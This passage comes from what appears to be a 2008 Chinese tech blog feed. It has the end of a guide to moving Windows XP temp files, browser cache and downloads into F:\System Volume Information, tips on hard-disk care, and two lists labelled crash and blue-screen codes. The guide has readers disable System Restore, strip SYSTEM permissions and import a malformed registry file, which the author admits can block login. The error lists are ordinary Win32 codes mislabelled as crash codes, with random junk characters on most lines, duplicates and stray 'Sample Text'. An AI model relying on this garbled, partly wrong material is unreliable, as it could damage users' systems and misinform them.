(3).当您下载的一些软件是需要解压后才能安装时,这些软件有部份就自动解压在了您的系统盘(%systemdirve%)v如我的这里是c:\Program Files\InstallShield Installation Information里面去了.当安装完了后.这个长长的文件夹InstallShield Installation Information就可以删除了.当然还有个别软件(以exe为扩展名的卡巴斯基和msn8.0以上新版),是自动解压在了您的系统盘(%systemdirve%)如我的这里是c:\Documents and Settings\All Users\Application Data里面了(后面完整的目录我忘了,有找到的朋友请告诉我).您只需找到跟安装包一模一样大小的以.msi为扩展名的那个来.这就是真正的卡巴和msn的安装包.并将它们剪切存在您的d盘中即可.至于在它相同目录中被解压出来的那几个很小的msi的安装包.实测中也没有什么用的.msn那几个是流氓----也就是msn的工具条.还有一部份您从网上下载的安装包如典型的3721是自动将安装包解压在您的系统目录(%systemroot%)如我这里是c:\windows里面的Downloaded Installations文件夹中的.此文件夹可直接删除.

(4).系统默认的帮助文件位于:系统目录(%systemroot%)如我这里是c:\windows里面Help文件夹中.如果您不需要系统的帮助.这里面的也可以直接删除.

(5).微软系统补丁自动下载的目录是您的系统目录(%systemroot%)如我这里是c:\windows\SoftwareDistribution\Download里面.当您将补丁安装完成后.Download里面下载的安装包也就没有用了.可直接删除了.这些补丁安装完后.还会自动在您的系统目录(%systemroot%)如我这里是c:\windows里面生成许多以$NT...$开头的这类文件夹.这是为了让您将来可以卸载这些补丁用的,一般我们都不用再卸载它们了(只有kb905474反盗版补丁我们可以卸载,其它的都不用卸),如果您确实不需要卸载它们了.则可以将这些以$NT...$开头的这类文件夹全部删除,同样.如果您是安装的ie7.则在您系统目录(%systemroot%)如我这里是c:\windows\ie7updates里面也将留下您为您的ie7安装过的补丁的卸载程序.如果您不需要卸载它们,也可以考虑删除它们.

只有上述五类垃圾.会永远不停地往用户的计算机中不停的写入,因而.本文就只专门针对如何将上述四类垃圾彻底地请出系统盘做一论述.并达到让它们永远地不再写入系统盘,永远自动在保存在非系统盘(一般我们都是将它们直接设置在最后一个磁盘中.如我就将它们全部都设置在了我的最后一个磁盘f盘中).

(三),实战篇

那么.如何才能让这些会不断地增大的垃圾文件老老实实在自动跑到非系统盘中去呢.其实.您大可不必担心.上面虽然讲了那么多,真正操作起来却是相当简单的.-----简单到什么程度?简单到您只需要动几下鼠标和键盘即可,呵呵,

1.系统自动还原的配置:----执行后面的操作前,请一定要看完这一部份,下文红色部份特别注意事项就是指这一部份的配置

对于系统自动还原的功能,各人自有一套想法.不过keven以为.此功能实在形同虚设.并且.在许多实测的中毒计算机中.您肯定也发现了.各种病毒似乎都有往每个磁盘根目录中的系统还原专用文件夹即著名的"System Volume Information"中写入病毒,以便让中毒后的肉鸡在执行微软公司的所谓系统还原后.立即自动再次中毒.所以.为安全计.为硬盘寿命和系统运行效率计.keven建议您还是将微软默认在xp等系统中提供的这种鸡肋般的功能禁用了,如果您需要备份和还原系统.建议您采用由第三方专业磁盘克隆软件公司的产品.如著名的美国赛门铁克公司诺顿系列工具中的ghost程序.或者:acronis true image克降程序等.

不过,如果您使用的是微软公司原版安装光盘安装的系统.并采用了先进的ntfs磁盘分区格式化每个磁盘的话.您会发现.这个著名的System Volume Information文件夹在每个磁盘根目录中均有一个.而且,这个名叫System Volume Information的系统备份和还原文件夹.具有如下顽固的特点:

(1).默认情况下.它是自动隐藏的.呵呵.没办法.长得丑嘛.没脸见公婆哩.呵呵

(2).默认情况下.在ntfs磁盘分区中.此文件夹既不可读也不可写

(3).默认情况下.此文件夹具有极强的自动再生能力,不管您使用任何方法将它删除.系统都将会立即再生出一个一模一样的它来.再生出来的它又具有此三种特点.-----keven在此是不是应该提倡下一夫一妻制和计划生育工作啦.哈哈.微软若非后宫佳丽三千.哪能有这么强的再生能力的.呵呵.

此三个顽固的特点.令绝大部份朋友对它望而生畏.可是.看到令人极为不满的自动还原和珍贵的系统磁盘空间被一点点的蚕食掉.难道我们就拿它没办法了吗?keven答曰:非也!非也!哈哈!^_^

我们仔细的分析了它的工作原理后.发现它在我的电脑的属性中首先有一个前台的保护.那就是系统默认的启动了"系统还原",立即将它关了,方法如下:右击我的电脑-----属性-----点击系统还原选项卡:然后一个磁盘一个磁盘地点中.再点击设置------将用于执行系统还原所使用的磁盘空间百分比设置为最小.------全部设置完后.再回到系统还原选项卡,点击在所有磁盘上关闭系统还原(全部应用,并确定,如要求重启,则选稍后重启).这样.前台中的系统还原功能就关掉了.接着.我们还要关闭它在系统后台中注册和运行的系统服务.方法如下:点击开始-----运行: services.msc打开系统服务(也可以从您的系统盘如c:\windows\system32\中找到services.msc来打开它)接着,您在系统服务中找到如下三个服务来:

MS Software Shadow Copy Provider

System Restore Service

Volume Shadow Copy

然后分别双击它们.将它们的启动方式改为禁用.接着切换到失败选项卡,将它们失败时的所有处理方式均设为:不操作.经过上述前台和后台的设置后.每个磁盘根目录中的System Volume Information就不会自动工作了.这时我们依然是不能打开和访问这些System Volume Information的文件夹的.针对它的三个顽固特点.我们一项项来进行解决:

(1).让系统纠出这个没脸见公婆的丑媳妇System Volume Information:方法如下:点击开始------设置-----控制面板-----文件夹选项-----再切换到查看选项卡.勾选:显示系统文件夹的内容,并点选"显示系统文件和文件夹"前面的勾勾.去掉"隐藏受保护的系统文件".同时去掉"使用简单文件共享"前面的勾勾.以方便下文对磁盘和每个磁盘中的System Volume Information进行安全权限的设置,如下图所示,确定后,您就可以在每个磁盘根目录中见到这些System Volume Information了.

请注意.一定要去掉"使用简单文件共享"前面的勾勾,否则将无法使用ntfs磁盘的安全权限配置方案,也就是象楼下朋友说的右击文件夹时显示不出安全选项卡

(2).不过很遗憾的是.此时您仍然没有访问和写入每个磁盘根目录中的这个System Volume Information文件夹的权限.这是为什么呢.我们仔细的研究了ntfs的权限配置方案后.终于明白了.让我们来看看微软默认为每个磁盘根目录中的这些System Volume Information设置的权限吧(右击System Volume Information-----属性-----安全).如下图所示:

您发现什么了吧.对了.在默认状况下.只有"SYSTEM"这个帐号有完全控制这些System Volume Information文件夹的权限.而且这个权限还不是从它老爸那儿继承过来的,是专有的.独立的完全控制权,system简单说就是操作系统.您也可以简单地将它理解成为美国微软公司.或者比尔盖茨先生.总之,作为系统管理员的你.包括所有你创建的帐号.均是没有权限访问这些System Volume Information文件夹的.只有比尔盖茨先生才能完全地控制它们至此.您终于明白了它的几个顽固特性的原因了吧.哈哈.没错了.原因就在此.既然明白了.那我们自然有简单的对付它的办法.那就是如上图上述,进入高级安全权限设置.将system帐号删除确(弹出的对话框全部应用,再确定).为什么要删除它呢.因为您已经看到了.它的权限并不是从它老爸那儿继承过来的.我们需要让它从它老爸那儿继承ntfs权限过来.这样.只要它老爸(也就是根磁盘如c.d.e.f等磁盘,具有可访问权和写入权.则这些System Volume Information自然也具有可访问权和可写入权,因为ntfs权限是可以由根磁盘一直往下继承下去的.根磁盘就象一个种族的族长.哈哈),设置方法如下:首先我们需要为它的老爸,也就是根磁盘如我这里示例的f盘,设置权限.即右击f盘-----属性-----安全.授予管理员组administrators组(注意是管理员组.不是管理员administrator一个帐号)和system均完全控制权.对于everyone就可以随便了.一般只授予只读或写入权即可.(当然了.根磁盘的ntfs权限是不能从别处继承了.不然就不叫根磁盘了嘛.呵呵),设置完毕后应用,再确定.如下图所示:

接着.我们让该磁盘根目录中的System Volume Information从它老爸那儿继承安全权限过来(微软的原话是:"从父系中继承那些可以应用到子对象的权限项目,包括那些在此明确定义的项目"----将这个打勾即可),全部应用,确定.具体设置同前上.如下图所示:

至此.您会发现.这些顽固的System Volume Information文件夹终于可以被访问了.也可以随便删除它里面的垃圾文件夹了.呵呵.是不是很有成就感哦.不过,对于其顽固性的第三个特点(即删除后会立马自动复生的特点).keven暂时还没有找到可以解决的方法.您也就将就着吧.毕竟.和比尔盖茨大叔比起来.俺也只不过是小儿科,呵呵.

2.系统页面文件即虚拟内存的配置:

关于虚拟内存.本文就不再详述了.前辈高人们早有相关著作千千万.这里只给出一个配置方法:右击我的电脑-----属性-----高级-----点击性能旁边的设置-----在性能选项卡中.点击高级选项卡-----更改:在虚拟内存设置界面.首先点击您的系统盘(如我这里是c盘)-----再点击"无分页文件"-----设置.表示不在您的系统盘设置虚拟内存.接着再点击您要设置虚拟内存的那个盘.(当然首选是放在最后一个磁盘中.如我这里是f盘)-----自定义大小.最小和最大分别指定一个值.具体需要指定多少.本文就不进行详述.具体一是看您的计算机的主要应用方向.二是在实际运行过程中慢慢摸索和调整,一般最大值不要超过物理内存的2倍.最小值不要低于物理内存容量即可.我是256兆的物理内存,所以在这里设置了最小值500兆.最大值1000兆,当然这个最大值肯定不能超过您的那个磁盘剩余空间的容量了.设置完成后会要求重启,可先点稍后重启.

3.系统和用户临时环境变量的设置:

这在前文有论述过.是会不断自动在您的系统盘中增大的主要垃圾来源部份.我们完全有必要将它们统一设置到非系统磁盘中去.从而实现本文所论述的主要观点.即让系统盘保持永远的干净无垃圾.在做这个配置前.首先我们自然得为我们的系统垃圾统一存放点物色一个专门的文件夹.以后所有系统垃圾都可以手工指定为自动存在这里,首先我们自然是选中了我们最后一个磁盘来专门存放垃圾和相关下载的.在遍历了最后一个磁盘的所有文件夹后.我们自然是豪不犹豫地选择了前文中所述的System Volume Information这个文件夹了.也许您会问.为什么呢?原因很简单.就是前文所述中它特有的三个顽固特点.其中最重要的就是因为它是不可被我们删除的.既然我们正需要一个专门的用来存放垃圾的文件夹.而这个System Volume Information又具有不可删除性.那我们自然也就选中它了.省得我们再去专门建立一个专用的文件夹嘛.而且.此文件夹既然是微软为我们准备的.那么在任何安装相同操作系统的计算机中均是存在的.这也为我们后文的使用注册表自动导入法实现自动配置打下了基础.

配置方法.其实是相当简单的.右击我的电脑-----属性-----高级-----环境变量:然后将当前用户(如我这里是administrator)和系统的变量(tmp和temp).全部指定为: 您最后一个在磁盘上的System Volume Information文件夹,如我这里是F:\System Volume Information,如下图所示

经过这样设置后.您的系统垃圾将会自动地全部跑到f盘的System Volume Information文件夹中去.而永远也不再会自动在存在您的系统盘中了.上述操作也可以通过一个系统注册表文件自动进行配置,其文件内容为(注意Windows Registry Editor Version 5.00下面必须要空一行再写注册表内容,这是系统注册表文件的书写规则):

Windows Registry Editor Version 5.00

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment]

"TEMP"="F:\\System Volume Information"

"TMP"="F:\\System Volume Information"

HKEY_CURRENT_USER\Environment]

"TEMP"="F:\\System Volume Information"

"TMP"="F:\\System Volume Information"

看明白意思了.那个F:\System Volume Information就是我们设定的垃圾自动存放文件夹,当然如果您确实不想将您的所有垃圾自动存放在这个文件夹中.则只需要按上述标准写法,写上您自己定义好的的文件夹路径即可.注意.在注册表文件中.所有的路径均是需要使用双反斜杠\\来表示的.在任意位置新建一个文本文件.将它改名为"一键自动设置系统和用户临时文件.reg",注意.须将txt的扩展名改名为reg.再右击此reg文件----选编辑.将上面代码复制进去保存.然后直接双击此reg文件导入系统注册表.即可完全自动的配置了.

请特别注意.如果您确实需要将F:\System Volume Information设置为您的系统和用户临时文件的垃圾存放地(设置完成后会要求重启.可选稍后重启).则请一定要先执行本文前部份所论述的为此文件夹赋于的访问和写入权限的配置(详见:第三部分实战篇第1小节).也就是您一定要能打开并那个文件夹里面,如新建个文本文件试试是否能成功等.并且.请确认那个磁盘是否具有一定的可用空间,如2G以上,特别看看您是否确实有一个名叫F的本地磁盘(如F是光驱那就不能设在F盘了.我上图只是演示方法,具体您得灵活运用).否则系统重启后将因为没有对此文件夹的访问和写入权而导致许多莫名其妙的问题,甚至有可能无法登陆.切记,切记.切记

3.IE等浏览器临时文件(垃圾)的统一存放及配置:

其原理同上,配置方法也是相当简单的.那就是右键点击桌面上的:internet explorer(我这里以ie7为例)-----属性-----在常规选项卡中.点击浏览历史纪录旁边的设置-----在弹出的internet临时文件和浏览历史纪录设置窗口.我们点选移动文件夹.将它指定为f盘即可.后面的名叫"Internet 临时文件"的文件夹是由系统自动生成的,不用我们书写.当然.对于网页保存在您电脑中的时间.您可以自由设定.如象keven这样永远也不需要保存网页的朋友,也可以将时间设置为0天.这样.每过一天.您会发现.系统就自动帮您清空了我们指定的f:\Internet 临时文件中的所有垃圾.是不是很智能也很省事啊.呵呵.-----确定后需要注销系统方可生效.

4.Outlook邮件文件夹自动下载邮件的统一设置:

正如前文所述.因许多企业用户的邮件容量实在是大得惊人.而且是每天必用.这样频繁地对系统盘的读写.自然将产生大量的磁盘碎片.也拖慢系统盘的效率.故而完全有必要让这些邮件自动地下载到非系统磁盘中去.-----实际上.如果您也如keven一样维护着许多企业的计算机的话.您还会发现,这样做的结果只有百利而无一害.当客户的系统因为种种原因需要重装时.不必费时费力地去耗费大量的时间去寻找那些巨大的邮件(找起来就是一件辛苦事,特别是中了毒的机器自动隐藏许多文件时).并将它们复制到其它磁盘中去.设置方法如下:在outlook程序中(以xp自带的6.0为例).点击工具-----选项-----维护-----存储文件夹-----更改,将它们改成:d:\我的文档\outlook邮件.即可.这样,以后当您使用outlook收发邮件时.就不用担心它会自作主张的往您的系统盘中写入大量的邮件了.而且正如上文所述.将来如果需要进行系统重装时.也不必费时费力地做转移邮件的搬运工的工作啦.直接在目标机中安装新系统后.再按此方式将其更改为一模一样即可.

同样的道理.对于我的文档.收藏夹等这些.我们都可以使用类似方法将它们转移到d盘中去.特别是我的文档(右击桌面上的我的文档.属性.将它的目标修改为:d:\我的文档.即可.以后目标用户存在我的文档中的东东也就自然不会再自动跑到系统盘去了)

5.以迅雷为代表的下载软件自动下载目录的统一指定:

原理前文已述.此处不再重复.只说一下方法.打开迅雷后.点击工具-----配置-----在类别/目录选项卡中.指定默认的下载目录为:F:\System Volume Information即可.-----当然.当您下载完后后就有必要将您需要珍藏的好东东转移动您的d盘中去永久地珍藏起来了

四.后记:

关于系统垃圾及可能引起系统盘产生大量读写和碎片的相关程序实际上是有许多的.本文只是例举了几大类比较典型的程序.不过值得庆贺的是.绝大部份的程序.它们都是相当聪明的.它们总是能清楚而准确地跟着您指定的系统和用户临时文件的位置而自动跟进(唯系统临时垃圾文件的马首是瞻,呵呵).也就是说.当您指定了您系统和用户的临时文件后.基本上.绝大部份的程序在运行时自动产生的垃圾也就跟着自动转移到了您的F:\System Volume Information中去了.多么省事啊.可是.依然有许多的程序依然是相当的笨拙的.比如前文所述种种.这些程序就需要由您自个儿为它们指定临时垃圾的存放文件夹了.限于篇幅.本文不再一一列举.同时.正如前文所述由于产生系统垃圾的原因很多,而且微软公司默认的并不认可我们对其某些文件定义为垃圾的观点,以及一贯以来坚持的"系统盘通知天下"的兼容并包原则.更多的系统盘垃圾转移工作还得我们不断的摸索.本文只是在理论上给大家一个新的构思方向----与其事后诸葛,莫如一劳永逸.希望能抛吾笨砖,得您金玉良方,也希望在不久的将来,能有越来越多的朋友们能在理论上深入这个方向进行思考和探索.

经过这样的设置后.理论上.您的系统盘再也不会被写入任何的垃圾了.如果您此时进行系统的备份,亦是相当好的(当然前提是您的系统是无毒而稳定的),从此.您就可以尽享永远高速的系统运行效率了.正如文中开篇所述的故事.你也可以成为其中的运动员f,拥有着永远f---fast的系统运行效率.而且.从此所谓的系统垃圾清理.对于您而言.实际上也只需要做一件事.那就是将那个您指定用来存放垃圾的专用垃圾文件夹"F:\System Volume Information"和"f:\Internet 临时文件"这两个文件夹清空即可.哈哈.是不是爽歪歪啦.

]]> http://zjysq1989.blog.163.com/blog/static/37863996200822661931866 0 http://zjysq1989.blog.163.com/blog/static/37863996200822661931866 Wed, 26 Mar 2008 06:19:31 +0800 2008-03-26T06:19:31+08:00 <![CDATA[硬盘维护11招]]> http://zjysq1989.blog.163.com/blog/static/37863996200822661756275 1、保持电脑工作环境清洁

　　硬盘以带有超精过滤纸的呼吸孔与外界相通，它可以在普通无净化装置的室内环境中使用，若在灰尘严重的环境下，会被吸附到PCBA的表面、主轴电机的内部以及堵塞呼吸过滤器，因此必须防尘。

　　还有环境潮湿、电压不稳定都可能导致硬盘损坏。

　　2、养成正确关机的习惯

　　硬盘在工作时突然关闭电源，可能会导致磁头与盘片猛烈磨擦而损坏硬盘，还会使磁头不能正确复位而造成硬盘的划伤。关机时一定要注意面板上的硬盘指示灯是否还在闪烁，只有当硬盘指示灯停止闪烁、硬盘结束读写后方可关机。

　　3、正确移动硬盘，注意防震

　　移动硬盘时最好等待关机十几秒硬盘完全停转后再进行。在开机时硬盘高速转动，轻轻的震动都可能碟片与读写头相互磨擦而产生磁片坏轨或读写头毁损。所以在开机的状态下，千万不要移动硬盘或机箱，最好等待关机十几秒硬盘完全停转后再移动主机或重新启动电源，可避免电源因瞬间突波对硬盘造成伤害。在硬盘的安装、拆卸过程中应多加小心，硬盘移动、运输时严禁磕碰，最好用泡沫或海绵包装保护一下，尽量减少震动。 　　注意：硬盘厂商所谓的“抗撞能力”或“防震系统”等，指在硬盘在未启动状态下的防震、抗撞能力，而非开机状态。

　　4、用户不能自行拆开硬盘盖

　　此外硬盘的制造和装配过程是在绝对无尘的环境下进行，切记：一般计算机用户不能自行拆开硬盘盖，否则空气中的灰尘进入硬盘内，高速低飞的磁头组件旋转带动的灰尘或污物都可能使磁头或盘片损坏，导致数据丢失，即使仍可继续使用，硬盘寿命也会大大缩短，甚至会使整块硬盘报废。

　　5、注意防高温、防潮、防电磁干扰

　　硬盘的工作状况与使用寿命与温度有很大的关系，硬盘使用中温度以20～25℃为宜，温度过高或过低都会使晶体振荡器的时钟主频发生改变，还会造成硬盘电路元件失灵，磁介质也会因热胀效应而造成记录错误；温度过低，空气中的水分会被凝结在集成电路元件上，造成短路。

　　也可用软件监控硬盘温度

　　DTemp是一款监控硬盘温度的软件，它能够实时地向用户报告硬盘的工作温度，并允许用户定制一个温度的上限值，防止硬盘因温度过高而出现工作不稳定的状况。可以在天极下载频道下载到这个大小仅为93.5KB的软件，解压后软件后你会发现在屏幕下方的任务栏中出现了一个驱动器状的小图标，图标上方伴随有一个不断变化的温度显示，这个温度就是硬盘当前的工作温度。双击该图标会出现一个设置界面，其中，“Check temperature every（1）minutes”一项为检测硬盘温度的周期，建议大家选择默认设置（一分钟一次）。“HDD critical temperature（40）℃”一项为设定硬盘的温度上限值。在这里需要根据用户使用硬盘的转速而定，如果是5400转的硬盘，建议设定为40℃，7200转的则可以设为50℃。带有颜色选择的“Normal temperature color”和“Critical temperature color”两项为硬盘在正常温度和超出上限值时的不同状态显示，大家可以根据自己的喜好进行选择，只要醒目即可。可选项“Warning about critical temperature”是让用户选择当硬盘超出上限值时是否发出警告？毫无疑问，我们应该选择“是”。“Warning about SMART failure”一项是让用户选择当硬盘的“SMART”技术发现硬盘存在问题时是否发出警告，这一点对硬盘的安全性很重要，建议选择“是”。

　　湿度过高时，电子元件表面可能会吸附一层水膜，氧化、腐蚀电子线路，以致接触不良，甚至短路，还会使磁介质的磁力发生变化，造成数据的读写错误。湿度过低，容易积累大量的因机器转动而产生的静电荷，这些静电会烧坏CMOS电路，吸附灰尘而损坏磁头、划伤磁盘片。机房内的湿度以45～65%为宜。

　　另外，尽量不要使硬盘靠近强磁场，如音箱、喇叭等，以免硬盘所记录的数据因磁化而损坏。

　　6、要定期整理硬盘

　　定期整理硬盘可以提高速度，如果碎片积累过多不但访问效率下降，还可能损坏磁道。但不要经常整理硬盘，这样也会有损硬盘寿命。

　　7、注意预防病毒和特洛依木马程序

　　硬盘是计算机病毒攻击的重点目标，应注意利用最新的杀毒软件对病毒进行防范。要定期对硬盘进行杀毒，并注意对重要的数据进行保护和经常性的备份。建议平时不要随便运行来历不明的应用程序和打开邮件附件，运行前一定要先查病毒和木马。

　　8、正确拿硬盘的方法

　　在电脑维护应以手抓住硬盘两侧，并避免与其背面的电路板直接接触，要轻拿轻放，不要磕碰或者与其他坚硬物体相撞；不能用手随便地触摸硬盘背面的电路板，因为手上可能会有静电，静电会伤害到硬盘上的电子元件，导致无法正常运行。还有切勿带电插拔。

　　9、让硬盘智能休息

　　让硬盘智能地进入“关闭”状态，对硬盘的工作温度和使用寿命给予很大的帮助，首先进入“我的电脑”，用鼠标左键双击“控制面板”，然后选择“电源管理”，将其中“关闭硬盘”一项的时间设置为15分钟，应用后退出即可。

　　10、轻易不要低格

　　不要轻易进行硬盘的低级格式化操作，避免对盘片性能带来不必要的影响。

　　11、避免频繁的高级格式化操作

　　它同样对盘片性能带来影响，在不重新分区的情况下，可采用加参数“Q”的快速格式化命令。 ]]> http://zjysq1989.blog.163.com/blog/static/37863996200822661756275 0 http://zjysq1989.blog.163.com/blog/static/37863996200822661756275 Wed, 26 Mar 2008 06:17:56 +0800 2008-03-26T06:17:56+08:00 <![CDATA[Windows 死机代码解析]]> http://zjysq1989.blog.163.com/blog/static/3786399620082211110260 0x0000 操作完成 ,3k"J4|d  
O T_ w <te 
　　0x0001 不正确的函数 3 *G 7H 
T jO}P\ p  
　　0x0002 系统找不到指定的文件 (m[]A&u 
8CxC` *L( 
　　0x0003 系统找不到指定Sample TextSample TextSample Text的路径 { ~a= aOS 
d-g &TS Gd 
　　0x0004 系统无法打开文件 k#T onT  
-"iG cV V 
　　0x0005 拒绝存取 0jO]+B I1 
#u JGXrGt= 
　　0x0006 无效的代码 y \b.0-z  
L , 0 HX  
　　0x0007 内存控制模块已损坏 ? "\ `u;  
,Khhu % $ 
　　0x0008 内存空间不足，无法处理这个指令 .P .TqT@)r 
T1c2J,+}R 
　　0x0009 内存控制模块地址无效 S /v+7oT  
ivs p):W  
　　0x000a 环境不正确 _;",7b T80 
!/ , 6+2Ru 
　　0x000b 尝试载入一个格式错误的程序 YJ_`[L nL 
L+2!Sc ,> 
　　0x000c 存取码错误 D" _~Njf  
r(N f VQF  
　　0x000d 资料错误 +RS>#zd/= 
d&'z0]m Oe 
　　0x000e 内存空间不够，无法完成这项操作 %||} WT-wv 
RP '`\| |* 
　　0x000f 系统找不到制定的硬盘 /!ZeM Y:x 
M>J8J*  
　　0x0010 无法移除目录 TuY{c%qQ : 
R- ] QU`c  
　　0x0011 系统无法将文件移到其他的硬盘 x G0IA 7 
vgOm cf%; 
　　0x0012 没有任何文件 xtf]U :c  
w< j6ln+nM 
　　0x0019 找不到指定的扇区或磁道 " [ @- p 
CZ E5RzG  
　　0x001a 指定的磁盘或磁片无法存取 S vn | vH 
2 t C ep 
　　0x001b 磁盘找不到要求的扇区 65N ;PH59D 
X" J7 9?5 
　　0x001c 打印机没有纸 { i~qm4+ o 
NeCTE e|V 
　　0x001d 系统无法将资料写入制定的磁盘 l+ kI4B7-- 
U;OJ . a9 
　　0x001e 系统无法读取指定的装置 R2x(8k"LPU 
.c Qwj L 
　　0x001f 连接到系统的某个装置没有作用 cQu1W gQ G 
`WC~c b \ 
　　0x0021 文件的一部分被锁定 '2/ 48j X5 
jv5p_v4 %O 
　　0x0024 开启的分享文件数量太多 (VW T YG7 
1$q S bQ  
　　0x0026 到达文件结尾 s 0E:hn: 
n* 9)Y ~ 
　　0x0027 磁盘已满 = 
　　0x0036 网络繁忙 
　　0x003b 网络发生意外的错误
　　0x0043 网络名称找不到
　　0x0050 文件已经存在 　　0x0052 无法建立目录或文件 　　0x0053 int24失败
　　0x006b 因为代用的磁盘尚未插入，所以程序已经停止
　　0x006c 磁盘正在使用中或被锁定 

　　0x006f 文件名太长

　　0x0070 硬盘空间不足  
　　0x007f 找不到指定的程序  

　　0x045b 系统正在关机  
　　0x045c 无法种植系统关机，因为没有关机的动作在进行中 　　0x046a 可用服务器储存空间不足，无法处理这项指令
　　0x047e 指定的程序需要新的Windows版本

　　0x047f 指定的程序不是Windows或MS-Dos程序
　　0x0480 指定的程序已经启动，无法再启动一次 　　0x0481 指定的程序是为旧版的Windows所写的 
 
　　0x0482 执行此应用程序所需的程序库文件之一毁坏

　　0x0483 没有应用程序与此项操作的指定文件建立关联
　　0x0484 传送指令到应用程序发生错误
　　0x04b0 指定的装置名称无效
　　0x05a2 窗口不是子窗口   

  　　0x05aa 系统资源不足，无法完成所要求的服务 　　0x05ab 系统子还不足，无法完成所需要的服务 　　0x05ac 系统资源不足，无法完成所要求的服务
　　0x06b9 资源不足，无法完成操作
]]> http://zjysq1989.blog.163.com/blog/static/3786399620082211110260 0 http://zjysq1989.blog.163.com/blog/static/3786399620082211110260 Fri, 21 Mar 2008 01:11:00 +0800 2008-03-21T01:11:00+08:00 <![CDATA[ 蓝屏代码含义大全]]> http://zjysq1989.blog.163.com/blog/static/3786399620082211759338

系统蓝屏70%是由于内存引起的 一般来说 你先系统重新装一遍 要是用了一段时间还是出现这样的问题 建议换根内存试试 H52] Zm 
windows蓝屏错误 5 ?4jD] Z  
1 0×00000001 不正确的函数。 q%GlS=o " 
2 0×00000002 系统找不到指定的档案。 VE5M}k DCZ 
3 0×00000003 系统找不到指定的路径。 re\ &'%~K 
4 0×00000004 系统无法开启档案。 % $L!N- U6 
5 0×00000005 拒绝存取。 1z Uo.Tg0 
6 0×00000006 无效的代码。 \-B8 `ah  
7 0×00000007 储存体控制区块已毁。 <P rz>qL$ 
8 0×00000008 储存体空间不足，无法处理这个指令。 " E U[Lb  
9 0×00000009 储存体控制区块地址无效。 7]w ]i 5 
10 0×0000000A 环境不正确。 jF}u% T)HL 
11 0×0000000B 尝试加载一个格式错误的程序。 CXr] V"X9  
12 0×0000000C 存取码错误。 o+o'!)  
13 0×0000000D 资料错误。 lj {Jw .t 
14 0×0000000E 储存体空间不够，无法完成这项作业。 ' $@ b TW 
15 0×0000000F 系统找不到指定的磁盘驱动器。 { G : dhi 
16 0×00000010 无法移除目录。 Z= P]U D 
16 0×00000010 无法移除目录。 EZ6\pyNB0# 
17 0×00000011 系统无法将档案移到 其它的磁盘驱动器。 O _ yk< 
18 0×00000012 没有任何档案。 D" x; /I  
19 0×00000013 储存媒体为写保护状态。 c7~+ 5 
20 0×00000014 系统找不到指定的装置。 (!^ i6z0Sp 
21 0×00000015 装置尚未就绪。 k 0@b"y*  
22 0×00000016 装置无法识别指令。 (KHO'QNMt^ 
23 0×00000017 资料错误 (cyclic redundancy check) AQ x :}PO  
24 0×00000018 程序发出一个长度错误的指令。 G kOZ =ej 
25 0×00000019 磁盘驱动器在磁盘找不到 持定的扇区或磁道。 r ]sN I[ 
26 0×0000001A 指定的磁盘或磁盘无法存取。 "!g}Q*  
27 0×0000001B 磁盘驱动器找不到要求的扇区。 8zI*<RX.Q 
28 0×0000001C 打印机没有纸。 wr) \G J#> 
29 0×0000001D 系统无法将资料写入指定的磁盘驱动器。 e|-%-j uI  
30 0×0000001E 系统无法读取指定的装置。 vW s#4JoG 
31 0×0000001F 连接到系统的某个装置没有作用。 ?ni v}/'%O 
32 0×00000020 The process cannot access the file because it is being used by another process. .F dzEauVc 
33 0×00000021 档案的一部份被锁定， 现在无法存取。 EJid@ 
34 0×00000022 磁盘驱动器的磁盘不正确。 请将 %2 (Volume Serial Number: %3) 插入磁盘机%1。 s}93nv*ez 
36 0×00000024 开启的分享档案数量太多。 +Y _ ]<  
38 0×00000026 到达档案结尾。 ( d1ho=  
39 0×00000027 磁盘已满。 cR6Rb [9 N 
50 0×00000032 不支持这种网络要求。 J] )gXVRM 
51 0×00000033 远程计算机无法使用。 I~&*8 )x M 
52 0×00000034 网络名称重复。 .F]" %RK [ 
53 0×00000035 网络路径找不到。 C 4 |H 5H 
54 0×00000036 网络忙碌中。 nyx( 0  
55 0×00000037 The specified network resource or device is no longer available. ) d F`L  
56 0×00000038 The network BIOS command limit has been reached. 57 0×00000039 网络配接卡发生问题。 l*|m( 7 s 
58 0×0000003A 指定的服务器无法执行要求的作业。 F>"B7:P1:Q 
59 0×0000003B 网络发生意外错误。 F=V_ A CU 
60 0×0000003C 远程配接卡不兼容。 n tD8:%m 
61 0×0000003D 打印机队列已满。 !kWx' tJ$  
62 0×0000003E 服务器的空间无法储存等候打印的档案。 k4BiH5\hA  
63 0×0000003F 等候打印的档案已经删除。 x#TWZ ;  
64 0×00000040 指定的网络名称无法使用。 bPo *L~xdk 
65 0×00000041 拒绝存取网络。 zoO9N oUHW 
65 0×00000041 拒绝存取网络。 <P)0Y u  
66 0×00000042 网络资源类型错误。 -~ 5|_G2Y" 
67 0×00000043 网络名称找不到。 LG3 :V '| 
68 0×00000044 超过区域计算机网络配接卡的名称限制。 84 $# !=v 
69 0×00000045 超过网络 BIOS 作业阶段的限制。 %k nP eo & 
70 0×00000046 远程服务器已经暂停或者正在起始中。 yhi 6R DS 
71 0×00000047 由于联机数目已达上限，此时无法再联机到这台远程计算机。 y $K # M 
72 0×00000048 指定的打印机或磁盘装置已经暂停作用。 %7*Y@ k-)o 
80 0×00000050 档案已经存在。 4v k ^= 
82 0×00000052 无法建立目录或档案。 &E>zvR BQ  
83 0×00000053 INT 24 失败 *\i<+~I@ l 
84 0×00000054 处理这项要求的储存体无法使用。 <A,G: &d ~ 
85 0×00000055 近端装置名称已经在使用中。 G([! (8&2Y 
86 0×00000056 指定的网络密码错误。 h%Nbx: vKk 
87 0×00000057 参数错误。 {G S 7J  
88 0×00000058 网络发生资料写入错误。 ]Qp0|45 = 
89 0×00000059 此时系统无法执行其它行程。 sa ~.qmqu 
100 0×00000064 无法建立其它的系统 semaphore。 101 0×00000065 属于其它行程专用的 semaphore. 3 ySP *J5 
102 0×00000066 semaphore 已经设定，而且无法关闭。 4 6'EZ@#s 
103 0×00000067 无法指定 semaphore 。 t_YiF%}s&# 
104 0×00000068 在岔断时间无法要求专用的 semaphore 。 SZ -% 0z 
104 0×00000068 在岔断时间无法要求专用的 semaphore 。 ;w?zmj<Dm 
105 0×00000069 此 semaphore 先前的拥有权已经结束。 MQ"<r,o? : 
106 0×0000006A 请将磁盘插入 %1。 v}-'L#6  
107 0×0000006B 因为代用的磁盘尚未插入，所以程序已经停止。 0_Etm83Wq6 
108 0×0000006C 磁盘正在使用中或被锁定。 x g J2W_ 
